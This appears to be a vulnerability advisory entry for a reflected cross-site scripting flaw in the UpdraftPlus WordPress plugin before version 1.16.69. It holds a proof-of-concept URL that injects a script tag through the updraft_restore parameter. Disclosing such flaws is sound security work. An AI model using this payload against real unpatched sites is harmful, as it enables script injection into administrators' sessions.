WordPress Plugin Vulnerabilities
UpdraftPlus < 1.16.69 - Reflected Cross-Site Scripting
Description
The plugin does not sanitise and escape the updraft_restore parameter before outputting it back in the Restore page, leading to a Reflected Cross-Site Scripting
Proof of Concept
https://example.com/wp-admin/options-general.php?page=updraftplus&job_id&updraft_restore%5B0%5D=%3Cscript%3Ealert%28/XSS/%29%3C%2Fscript%3E&action=updraft_restore&backup_timestamp=123&updraftplus_ajax_restore=start_ajax_restore
Affects Plugins
Fixed in version 1.16.69
References
Classification
Miscellaneous
Original Researcher
JrXnm
Submitter
JrXnm
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Verified
Yes
Timeline
Publicly Published
2021-12-28 (about 7 months ago)
Added
2021-12-28 (about 7 months ago)
Last Updated
2022-04-13 (about 4 months ago)